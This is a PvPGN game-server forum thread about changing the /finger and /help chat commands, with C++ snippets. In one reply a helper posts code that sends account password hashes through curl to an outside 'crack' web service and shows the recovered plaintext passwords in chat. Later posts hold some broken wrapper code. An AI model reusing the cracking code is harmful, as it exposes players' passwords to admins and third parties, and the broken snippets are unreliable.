Skip to forum content

You are not logged in. Please login or register.


forums.pvpgn.pro → [EN] The Source Code → How to make chat commands modifications?

Pages 1

You must login or register to post a reply

RSS topic feed

Posts: 15

1

Topic: How to make chat commands modifications?

how to make grade in /finger ?
so if i use /finger Jimmy_Aquarius
if Jimmy_Aquarius is the admin
will show like this :
ID: Jimmy_Aquarius
Grade: Admin
etc...

but if Jimmy_Aquarius is not the admin
will show like this :
ID: Jimmy_Aquarius
Grade: User
etc..

what is the source code ?
for pvpgn 1.8.5

thx if you want to answer this question
sorry for my bad english

2

Re: How to make chat commands modifications?

please tell me how modify /help
so if user type /help
it will show like this:
/chpass
/mail
/watch
/quota

if admin type /help
it will show like this:
/chpass
/mail
/watch
/quota
/lockacct
/unlockacct
/op

if OP type /help
it will show like this:
/chpass
/mail
/watch
/quota
/lock
/unlock


thx big_smile

3

Re: How to make chat commands modifications?

please tell me how add current password when admin use /finger
like this
/finger Jimmy_Aquarius
ID: Jimmy_Aquarius
Email:            acc_locked:            current password:



thx

4

Re: How to make chat commands modifications?

All chat commands are stored in src/command.cpp

At the header of the file you can see commands definitions. All the reminder below are the functions with implementations of commands.

Functions that you need to modify:

{ "/finger"             , _handle_finger_command },
{ "/help"               , handle_help_command },

Please, post your modified code as possible, it may helps other people if they search the same.

Do not ask for support in PM.

5

Re: How to make chat commands modifications?

this is my code in /finger

static int _handle_finger_command(t_connection * c, char const *text)
{
  char           dest[MAX_USERNAME_LEN];
  unsigned int   i,j;
  t_account *    account;
  t_connection * conn;
  char const *   ip;
  char *         tok;
  t_clanmember * clanmemb;

  for (i=0; text[i]!=' ' && text[i]!='\0'; i++); /* skip command */
  for (; text[i]==' '; i++);
  for (j=0; text[i]!=' ' && text[i]!='\0'; i++) /* get dest */
    if (j<sizeof(dest)-1) dest[j++] = text[i];
  dest[j] = '\0';
  for (; text[i]==' '; i++);

  if (dest[0]=='\0')
  {
    message_send_text(c,message_type_info,c,"Gunakan: /finger <account>");
    return 0;
  }

  if (!(account = accountlist_find_account(dest)))
    {
      message_send_text(c,message_type_error,c,"Invalid user.");
      return 0;
    }
  snprintf(msgtemp, sizeof(msgtemp), "ID: %-16.16s            "UID_FORMAT"",
      account_get_name(account),
      account_get_uid(account));
  message_send_text(c,message_type_info,c,msgtemp);
  snprintf(msgtemp, sizeof(msgtemp), "Jenis Kelamin: %.14s",
    account_get_sex(account));
  message_send_text(c,message_type_info,c,msgtemp);

  if ((clanmemb = account_get_clanmember(account)))
  {
    t_clan *     clan;
    char     status;

    if ((clan = clanmember_get_clan(clanmemb)))
    {
    snprintf(msgtemp, sizeof(msgtemp), "Clan: %-64.64s",clan_get_name(clan));
    if ((status = clanmember_get_status(clanmemb)))
    {
        switch (status)
        {
        case CLAN_CHIEFTAIN:
           std::strcat(msgtemp,"  Rank: Chieftain");
           break;
        case CLAN_SHAMAN:
           std::strcat(msgtemp,"  Rank: Shaman");
           break;
        case CLAN_GRUNT:
           std::strcat(msgtemp,"  Rank: Grunt");
           break;
        case CLAN_PEON:
           std::strcat(msgtemp,"  Rank: Peon");
           break;
        default:;
        }
    }
    message_send_text(c,message_type_info,c,msgtemp);

    }
  }

snprintf(msgtemp, sizeof(msgtemp), "Lokasi: %-23.23s",
      account_get_loc(account));
  message_send_text(c,message_type_info,c,msgtemp);
  snprintf(msgtemp, sizeof(msgtemp), "Umur: %.14s",
      account_get_age(account));
  message_send_text(c,message_type_info,c,msgtemp);

  if((conn = connlist_find_connection_by_accountname(dest)))
  {
      snprintf(msgtemp, sizeof(msgtemp), "Client: %s           Version: %s",
          clienttag_get_title(conn_get_clienttag(conn)),
          conn_get_clientver(conn));
      message_send_text(c,message_type_info,c,msgtemp);
      snprintf(msgtemp, sizeof(msgtemp), "Negara: %s",
          conn_get_country(conn));
  message_send_text(c,message_type_info,c,msgtemp);
      
  }

  if (!(ip=account_get_ll_ip(account)) ||
      !(account_get_command_groups(conn_get_account(c)) & command_get_group("/admin-addr"))) /* default to false */
    ip = "unknown";

  {
    std::time_t      then;
    struct std::tm * tmthen;

    then = account_get_ll_time(account);
    tmthen = std::localtime(&then); /* FIXME: determine user's timezone */
    if (!(conn))
      if (tmthen)
    std::strftime(msgtemp,sizeof(msgtemp),"Terakhir login pada %a %b %d %H:%M %Y from ",tmthen);
      else
    std::strcpy(msgtemp,"Terakhir login ? pada ");
    else
      if (tmthen)
    std::strftime(msgtemp,sizeof(msgtemp),"Terakhir terlihat pada %a %b %d %H:%M %Y dari ",tmthen);
      else
    std::strcpy(msgtemp,"Terakhir terlihat ? pada ");
  }
  std::strncat(msgtemp,ip,32);
  message_send_text(c,message_type_info,c,msgtemp);

  /* check /admin-addr for admin privileges */
  if ( (account_get_command_groups(conn_get_account(c)) & command_get_group("/admin-addr")))
  {
      /* the player who requested /finger has admin privileges
         give him more info about the one he querys;
         is_admin, is_operator, is_locked, email */
         snprintf(msgtemp, sizeof(msgtemp), "email:%.128s , is_operator: %d , is_admin: %d , is_acc_locked: %d",
         account_get_email(account),
         account_get_auth_operator(account,NULL),
         account_get_auth_admin(account,NULL),
         account_get_auth_lock(account));
         message_send_text(c,message_type_info,c,msgtemp);
  }


  if (conn)
    {
      snprintf(msgtemp, sizeof(msgtemp), "Idle %.128s",seconds_to_timestr(conn_get_idletime(conn)));
      message_send_text(c,message_type_info,c,msgtemp);
    }

  std::strncpy(msgtemp,account_get_desc(account),sizeof(msgtemp));
  msgtemp[sizeof(msgtemp)-1] = '\0';
  for (tok=std::strtok(msgtemp,"\r\n"); tok; tok=std::strtok(NULL,"\r\n"))
    message_send_text(c,message_type_info,c,tok);
  message_send_text(c,message_type_info,c,"");

  return 0;
}

please show me how to add grade class and current password

6

Re: How to make chat commands modifications?

1. Post only modified code.
Or use color tags to highlight it.
Or use online services, for example diffchecker.com/Ryo89KB5


2. I don't understand what do you mean by "grade class". If it's any data from the database then use function account_get_strattr(account,key). Search in code to see how to use it. For example:

char const * temp;
temp = account_get_strattr(account,"BNET\\acct\\email")

Function-wrappers on many fields already exist in src\bnetd\account_wrap.cpp. So, it would be better to get user email like this:

temp = account_get_email(account);

3. I wrote code to fetch raw password from the passhash using curl and my web service.
On windows you must put curl.exe near the pvpgn.exe

// get password hash from db
    char const * passhash;
    passhash = account_get_pass(account);


    snprintf(msgtemp, sizeof(msgtemp), "curl \"harpywar.pvpgn.pl/api.php?method=crack&hash=%.128s\" --silent --connect-timeout 5", passhash);

// open process curl with parameters declared before and save output
    FILE* remote = _popen(msgtemp, "r");
    char pass[1024];
    fread(pass, 1024, 1, remote);

// send text message to user
    snprintf(msgtemp, sizeof(msgtemp), "Password: %.128s (%.128s)",
        passhash,
        pass);
    message_send_text(c,message_type_info,c,msgtemp);

Do not ask for support in PM.

7 (edited by Zikoi5 04.12.2012 11:45)

Re: How to make chat commands modifications?

А как расшивровать без загрузки на сайт? Или мне покапать handle_bnet.c?

8

Re: How to make chat commands modifications?

Для взлома хеша веб сервис использует утилиту www.tobtu.com/revxsha1.php

Do not ask for support in PM.

9 (edited by Zeloit 07.01.2013 14:15)

Re: How to make chat commands modifications?

HarpyWar wrote:

Для взлома хеша веб сервис использует утилиту www.tobtu.com/revxsha1.php

Add grade to your pvpgn?
this my code:

snprintf(msgtemp, sizeof(msgtemp), "*** Profile %.16s ***", 
      account_get_name(account)),
  message_send_text(c,message_type_error,c,msgtemp);
  
  snprintf(msgtemp, sizeof(msgtemp), "Login: %-16.16s "UID_FORMAT"", 
      account_get_name(account),
      account_get_uid(account)),
  message_send_text(c,message_type_info,c,msgtemp);
  
  message_send_text(c,message_type_info,c,"ServerName: Zeloit");
    
  snprintf(msgtemp, sizeof(msgtemp), "Grade: %.14s                BotName: %.14s", 
      account_get_grade(account),
      account_get_botname(account)),
  message_send_text(c,message_type_info,c,msgtemp);
  
  snprintf(msgtemp, sizeof(msgtemp), "Status: %.14s                Lenght: %.14s",
      account_get_status(account),
      account_get_lenght(account)),
  message_send_text(c,message_type_info,c,msgtemp);
  
  snprintf(msgtemp, sizeof(msgtemp), "Sex: %.14s                Age: %.14s",
      account_get_sex(account),
      account_get_age(account)),
  message_send_text(c,message_type_info,c,msgtemp);

10

Re: How to make chat commands modifications?

Zeloit wrote:

Add grade to your pvpgn?
this my code:

snprintf(msgtemp, sizeof(msgtemp), "*** Profile %.16s ***", 
      account_get_name(account)),
  message_send_text(c,message_type_error,c,msgtemp);
  
  snprintf(msgtemp, sizeof(msgtemp), "Login: %-16.16s "UID_FORMAT"", 
      account_get_name(account),
      account_get_uid(account)),
  message_send_text(c,message_type_info,c,msgtemp);
  
  message_send_text(c,message_type_info,c,"ServerName: Zeloit");
    
  snprintf(msgtemp, sizeof(msgtemp), "Grade: %.14s                BotName: %.14s", 
      account_get_grade(account),
      account_get_botname(account)),
  message_send_text(c,message_type_info,c,msgtemp);
  
  snprintf(msgtemp, sizeof(msgtemp), "Status: %.14s                Lenght: %.14s",
      account_get_status(account),
      account_get_lenght(account)),
  message_send_text(c,message_type_info,c,msgtemp);
  
  snprintf(msgtemp, sizeof(msgtemp), "Sex: %.14s                Age: %.14s",
      account_get_sex(account),
      account_get_age(account)),
  message_send_text(c,message_type_info,c,msgtemp);

1>..\..\..\src\bnetd\command.cpp(3750) : error C3861: 'account_get_grade': identifier not found
1>..\..\..\src\bnetd\command.cpp(3751) : error C3861: 'account_get_botname': identifier not found

what must to add before create like this ?

11

Re: How to make chat commands modifications?

previously, editing account_wrap.cpp and account_wrap.h

create account_get_grade:

look code account_get_sex or account_get_age

Added: 07.01.2013 19:16

extern char const * account_get_grade(t_account * account)
{
    char const * temp;

    if (!account)
    {
    eventlog(eventlog_level_error,__FUNCTION__,"got NULL account");
    return NULL;
    }

    if (!(temp = account_get_strattr(account,"profile\\grade")))
    return "";
    return temp;
}

you can speak indo?  tongue

12

Re: How to make chat commands modifications?

Zeloit wrote:

previously, editing account_wrap.cpp and account_wrap.h

create account_get_grade:

look code account_get_sex or account_get_age

Added: 07.01.2013 19:16

extern char const * account_get_grade(t_account * account)
{
    char const * temp;

    if (!account)
    {
    eventlog(eventlog_level_error,__FUNCTION__,"got NULL account");
    return NULL;
    }

    if (!(temp = account_get_strattr(account,"profile\\grade")))
    return "";
    return temp;
}

you can speak indo?  tongue

i have looked account_get_sex or account_get_age
and i copy the code
but it always error

of course i can
what's your facebook or server ?

13

Re: How to make chat commands modifications?

and add in account_wrap.cpp this

extern int account_set_auth_lock(t_account * account, int val)
{
    char const * temp;

    if (!account)
    {
    eventlog(eventlog_level_error,__FUNCTION__,"got NULL account");
    return NULL;
    }

    if (!(temp = account_set_strattr(account,"profile\\grade")))
    return "";
    return temp;
}

14

Re: How to make chat commands modifications?

XOM91K wrote:

and add in account_wrap.cpp this

extern int account_set_auth_lock(t_account * account, int val)
{
    char const * temp;

    if (!account)
    {
    eventlog(eventlog_level_error,__FUNCTION__,"got NULL account");
    return NULL;
    }

    if (!(temp = account_set_strattr(account,"profile\\grade")))
    return "";
    return temp;
}

add in account_wrap.cpp this

extern char const * account_get_grade(t_account * account)
{
    char const * temp;

    if (!account)
    {
    eventlog(eventlog_level_error,__FUNCTION__,"got NULL account");
    return NULL;
    }

    if (!(temp = account_get_strattr(account,"profile\\grade")))
    return "";
    return temp;
}

add in account_wrap.h this

/* profile */
extern char const * account_get_grade(t_account * account);

15

Re: How to make chat commands modifications?

Yes, I'm sorry. I took the example of the lockacct

Posts: 15

Pages 1

You must login or register to post a reply

Who now at forum

Currently view post: 0 guests, 0 registered users

forums.pvpgn.pro → [EN] The Source Code → How to make chat commands modifications?